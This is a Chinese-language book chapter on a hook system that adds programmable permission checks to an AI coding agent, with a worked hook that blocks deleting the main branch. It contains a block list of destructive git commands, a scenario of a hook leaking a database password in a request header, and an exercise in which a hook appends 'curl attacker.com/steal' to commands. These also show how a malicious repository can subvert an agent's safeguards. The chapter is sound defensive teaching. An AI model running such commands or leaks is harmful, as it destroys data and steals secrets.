Chapter 11: Hooks:可编程的安全策略
如果你的团队规定"禁止删除 main 分支",在 allow/deny 规则里怎么表达?
tool_use request
│
┌──────▼──────┐
│ Permission │
│ Pipeline │
│ │ │
│ ★PreToolUse ★│
│ ★ Hooks ★│ ◄── 本章聚焦
│ │ │
│ Rule Engine │
│ │ │
│ Classifier │
│ │ │
│ ★Permission ★│
│ ★Req. Hooks ★│
│ │ │
│ User Dialog │
└──────────────┘
11.1 硬编码规则的天花板
前两章剖析的权限系统有一个根本局限:所有规则都是声明式的。
你可以说"允许 Bash(git *)"或"拒绝整个 Bash 工具", 但你无法表达"只拒绝 git push 到 main 分支的操作", 也无法表达"所有 SQL 操作必须经过审计服务"。
这些需求有一个共同特征: 它们需要理解操作内容,而非仅仅匹配工具名或命令前缀。 一个团队禁止向公开 npm registry 发布包, 另一个团队要求所有数据库迁移必须经过 DBA 审核—— 这些策略的多样性远超预设规则的表达能力。
Hooks 就是为此而生的: 一个可编程的策略扩展点,让用户用自己的代码参与权限决策。
如果说 deny/allow 规则是交通信号灯, 那 Hooks 就是交警——交警可以根据现场情况 做出信号灯无法表达的判断。
11.2 四种 Hook 类型:从 shell 脚本到自主验证器
Hook 配置 schema 模块定义了四种 Hook 类型, 每种适配不同的复杂度需求。
Command Hook
最直接的形式——执行一个 shell 命令。 Hook 进程通过 stdin 接收 JSON 格式的事件数据, 通过 stdout 返回 JSON 格式的决策结果。
shell 字段支持 bash 和 powershell。
timeout 限制执行时间,防止 Hook 无限期阻塞。
once 标记一次性 Hook——执行后自动移除,适合初始化场景。
async 支持后台执行模式——Hook 不阻塞主流程。
asyncRewake 更进一步:在后台执行,但如果退出码为 2,
会唤醒模型处理 Hook 报告的阻塞性错误。
Prompt Hook
用一个独立的 LLM 来评估操作。
$ARGUMENTS 占位符会被替换为 Hook 输入的 JSON。
这本质上是"用 AI 审计 AI"—— 可以用轻量模型做快速语义检查。 比如"这个 shell 命令是否试图读取环境变量并发送到外部" ——这种意图级别的判断,单纯的模式匹配做不到, 但一个小模型可以在几百毫秒内给出合理的判断。
model 字段允许指定使用哪个模型,
默认使用轻量快速模型,不会占用主循环模型的资源。
HTTP Hook
将事件 POST 到远程 URL。 适合集成企业级安全审计系统、合规检查服务、SIEM 平台。
allowedEnvVars 是一个精心设计的安全边界:
只有显式列出的环境变量才会在 header 中被插值解析,
未列出的 $VAR 引用变为空字符串。
为什么需要这个限制?
考虑这个场景:恶意的项目级 Hook 配置了一个 HTTP Hook,
header 中写 "Authorization": "Bearer $DATABASE_PASSWORD"。
如果没有 allowedEnvVars 白名单,
这个 Hook 就能通过 HTTP 请求将数据库密码泄露到攻击者的服务器。
白名单机制确保了只有开发者显式授权的变量才会被解析。
Agent Hook
启动一个完整的 Agent 来执行验证。 与 Prompt Hook 的关键区别是: Prompt Hook 只做一次 LLM 调用, Agent Hook 可以多轮推理、调用工具。
适合复杂的验证逻辑: "验证单元测试是否通过"需要实际运行测试命令; "检查代码是否符合团队风格指南"需要读取配置文件并对比。 这些超出了单次 LLM 调用的能力范围。
共性:if 预过滤
四种类型都支持 if 字段作为预过滤器。
它使用与权限规则相同的语法(如 Bash(git *)),
在 Hook 进程启动之前做模式匹配。
这是一个重要的性能优化。
没有 if 过滤的 Command Hook 会在每次工具调用时都启动子进程;
有了 if: "Bash(git push *)" 过滤,
只有匹配 git push 的命令才会触发 Hook 子进程。
对于一个典型的 Agent 会话(可能包含数十次工具调用),
这个过滤可以避免大量不必要的进程创建开销。
11.3 Hook 的响应协议:标准化的决策接口
Hook 通过 stdout 返回 JSON 来影响系统行为。 Hook 类型定义模块定义了完整的响应 schema。
同步响应
同步响应 schema 中几个关键字段:
continue——设为 false 可以停止 Agent 继续执行。
配合 stopReason 字段,可以给出停止的原因。
decision——approve 或 block,直接影响权限决策。
配合 reason 字段,向用户解释为什么。
suppressOutput——隐藏 Hook 自身的 stdout 输出,
避免审计日志或调试信息干扰 Agent 的对话上下文。
systemMessage——向用户显示警告信息,
不进入 Agent 对话上下文,只作为 UI 提示。
PreToolUse 特定输出
对于 PreToolUse 事件,
Hook 可以返回三个额外字段:
permissionDecision(allow/deny/ask)——
直接覆盖工具自检的权限判断。
updatedInput——修改工具的输入参数。
additionalContext——为 Agent 注入额外上下文信息。
updatedInput 是最强大的能力:
一个安全策略 Hook 可以在 git push 命令前
自动添加 --no-force 参数;
一个审计 Hook 可以在 SQL 命令中自动添加 LIMIT 1000。
工具行为被"在飞行中"修改,Agent 和用户都感知不到。
PermissionRequest 特定输出
对于 PermissionRequest 事件,
Hook 可以返回结构化的 allow 或 deny 决策。
allow 决策可以附带 updatedPermissions——
在允许操作的同时更新权限规则。
比如"允许这次操作,并将此命令前缀加入会话级白名单"。
deny 决策可以附带 interrupt: true——
不仅拒绝当前操作,还通过中止控制器中止整个 Agent。
这是"紧急制动"——
当 Hook 检测到严重安全威胁(比如疑似 prompt 注入攻击)时,
可以立即停止一切。
异步响应
返回 {async: true} 表示 Hook 在后台继续执行,
不阻塞主流程。
可选的 asyncTimeout 字段设置后台执行的超时时间。
适用于审计日志写入、异步通知推送等不需要等待结果的场景。
11.4 Hook 与权限系统的两个集成点
Hook 在权限流程中有两个截然不同的介入时机。
PreToolUse:在决策链中插入一票否决
PreToolUse Hook 在工具执行前触发。
Hook 结果类型中的 permissionBehavior 字段可以设为 allow、deny、ask 或 passthrough。
如果 Hook 说 deny, 即使工具自检和规则引擎都通过了也会被拒绝—— 这给了外部策略系统一个"一票否决权"。
如果 Hook 说 allow,
它会在后续流程中加速通过。
但 safetyCheck 仍然不可绕过,
因为 Step 1g 在 Hook 介入之后执行——
这保证了即使一个被入侵的 Hook 声称 allow,
对 .git/ 的修改仍然需要人类确认。
PermissionRequest:与用户对话框竞赛
当权限决策为 ask 且需要弹出用户对话框时,
PermissionRequest Hook 与对话框同时运行。
回顾 Chapter 9 的 resolveOnce 机制——
Hook 是那场竞赛的参与者之一。
协调者处理模块展示了自动化优先场景的执行顺序: 先跑 Hook(快速、本地), 再跑分类器(慢、推理), 都不行才回退到对话框。
在交互式场景中,
Hook 以异步方式启动,
与 UI 对话框、ML 分类器、桌面端 Bridge 等并行竞赛。
通过 claim() 原子操作确保只有第一个响应者获胜。
这个竞赛语义带来了一个重要的体验特性: 如果你的 Hook 能在 100ms 内做出判断, 用户甚至不会看到权限弹窗。 Hook 的存在对用户是透明的——它只加速决策,不增加延迟。
11.5 配置方式:三层来源,松耦合集成
Hooks 在 settings.json 中配置。
Hook 配置 schema 模块定义了顶层结构:
一个以 Hook 事件名为键、匹配器数组为值的偏记录。
每个匹配器包含可选的 matcher(工具名过滤)和 hooks 数组。
matcher 做第一级过滤(只对特定工具触发),
if 做第二级过滤(只对匹配模式的调用启动 Hook)。
双层过滤确保了 Hook 只在真正需要的时刻执行。
配置支持三层来源:
- 用户级(
~/.agent/settings.json):全局策略,适用于所有项目。 - 项目级(
.agent/settings.json):团队策略,提交到版本控制。 - 本地级(
.agent/settings.local.json):个人偏好,不进仓库。
松耦合是 Hook 系统的核心设计原则。 Hook 通过 stdin/stdout 的 JSON 协议与主进程通信, 不依赖任何编程语言或运行时。 Python 脚本、Node.js 程序、curl 调用、甚至一个 jq 管道—— 只要能读 stdin 写 stdout,就能成为安全策略。
11.6 实战案例:禁止删除 main 分支
将所有概念串联起来。 假设团队需要禁止任何删除 main 分支的 git 操作。
创建 .agent/hooks/protect-main.py:
#!/usr/bin/env python3
import json, sys
data = json.load(sys.stdin)
cmd = data.get("tool_input", {}).get("command", "")
dangerous = ["branch -d main", "branch -D main",
"push origin :main", "push origin --delete main"]
if any(p in cmd for p in dangerous):
json.dump({"decision": "block",
"reason": "Team policy: main branch deletion forbidden."
}, sys.stdout)
else:
json.dump({"decision": "approve"}, sys.stdout)
配置在 .agent/settings.json 中:
{
"hooks": {
"PreToolUse": [{
"matcher": "Bash",
"hooks": [{
"type": "command",
"command": "python3 .agent/hooks/protect-main.py",
"if": "Bash(git *)",
"timeout": 5,
"statusMessage": "Checking branch protection..."
}]
}]
}
}
执行流程:
Agent 请求 git branch -D main ->
PreToolUse 事件触发 ->
matcher: "Bash" 匹配成功 ->
if: "Bash(git *)" 匹配成功 ->
Hook 进程启动,stdin 接收 JSON ->
Python 检测到危险模式 ->
stdout 输出 block 决策 ->
权限引擎收到 deny ->
Agent 看到 "Permission denied: Team policy..." 然后选择替代方案。
整个过程对 Agent 透明——它只知道被拒绝了, 不知道是 Hook、用户还是分类器拒绝的。
11.7 安全设计:Hook 本身不能成为攻击面
Hook 系统本身也需要安全机制, 否则它就成了一个新的攻击入口。
信任域隔离。
Hook 脚本必须由用户显式配置在 settings.json 中,
而不是由 Agent 动态创建。
首次加载包含 hooks 的项目设置时,
需要用户通过信任对话框确认。
这防止了"恶意仓库在 .agent/settings.json 中预置后门 Hook"的攻击。
超时强制。
每个 Hook 都有超时限制(timeout 字段),
防止恶意或有 bug 的 Hook 永久阻塞 Agent。
没有配置超时的 Hook 使用系统默认超时。
管理策略优先。
在企业环境中,policySettings 来源的 Hook 优先级最高。
管理 Hook 独占开关禁止非管理 Hook 执行
——确保只有企业安全团队审核过的 Hook 能运行。
全局禁用开关在紧急情况下禁用一切 Hook——这是最后的安全阀。
输出验证。 Hook 的 JSON 输出经过 Zod schema 严格验证。 无效的响应被安全忽略而不会导致系统崩溃。 这是防御性编程的典型实践——永远不信任外部输入, 即使那个"外部"是用户自己编写的 Hook 脚本。
环境变量隔离。
HTTP Hook 的 allowedEnvVars 使用白名单机制。
如果未列出 DATABASE_PASSWORD,
即使 header 配置中写了 $DATABASE_PASSWORD,
也会被解析为空字符串。
白名单,不是黑名单——这个方向性选择至关重要。
11.8 27 种事件:覆盖 Agent 生命周期
Hook 系统的骨架是 27 种事件(定义在 Agent SDK 类型模块中)。
与权限直接相关的三个核心事件——
PreToolUse、PermissionRequest、PermissionDenied——
我们已经详细讨论过。
其余事件覆盖了 Agent 生命周期的方方面面:
会话级:
SessionStart/SessionEnd(启动和结束)、
Setup(首次安装)、ConfigChange(配置变更)。
工具级:
PostToolUse/PostToolUseFailure(执行后/失败后)、
CwdChanged(工作目录切换)、FileChanged(文件变更)。
Agent 级:
SubagentStart/SubagentStop(子 Agent 管理)、
Stop/StopFailure(Agent 停止)。
协作级:
TeammateIdle(团队成员空闲)、
TaskCreated/TaskCompleted(任务生命周期)。
上下文级:
PreCompact/PostCompact(上下文压缩前后)、
InstructionsLoaded(指令加载完成)。
这种全生命周期覆盖意味着
Hook 不仅仅是权限的扩展——
它是 Agent 行为的通用可编程接口。
你可以用 PostToolUse Hook 在每次代码修改后自动运行 linter,
用 SessionStart Hook 初始化项目环境,
用 Stop Hook 生成会话摘要报告。
11.9 小结:从预设规则到可编程策略
Hook 系统将权限模型从"声明式规则"提升到了"可编程策略"。 其设计智慧体现在三个层面:
渐进增强。 不配置任何 Hook,系统照常运行。 添加一个 Hook,只增强一个决策点。 Hook 是纯粹的增量,不改变基础行为。
竞赛语义。 PermissionRequest Hook 与用户对话框、ML 分类器并行竞赛。 如果 Hook 比用户反应快,用户感知不到 Hook 的存在。
松耦合协议。 stdin/stdout JSON 协议意味着任何编程语言都能编写 Hook。 企业安全团队可以用 Go 编写高性能审计服务, 个人开发者可以用三行 bash 实现简单的模式匹配。
从更宏观的视角看,Hook 体系完成了一个重要闭环: 用户不仅是权限系统的被动受益者, 更是策略制定的主动参与者。 当内置规则不够用时, 用户用自己的代码来表达安全意图—— 这就是可编程安全策略的力量。
思考题
-
PreToolUse Hook 可以返回
updatedInput来修改工具输入。 如果一个恶意的项目级 Hook 悄悄修改了 Bash 命令内容 (比如追加&& curl attacker.com/steal), 现有的安全机制能否检测到?你会如何设计防护? -
Agent Hook 启动一个完整的 Agent 来验证操作。 但这个验证 Agent 本身也需要调用工具(比如读文件检查测试结果), 它的工具调用是否也需要权限检查? 如果需要,会不会形成无限递归?
-
Hook 的
if字段使用与权限规则相同的匹配语法。 但这种语法的表达能力有限—— 无法匹配"包含--force参数的 git push"。 如果你要扩展if的表达能力, 你会选择正则表达式、JSONPath 还是其他方案? 每种方案的安全性和性能权衡是什么?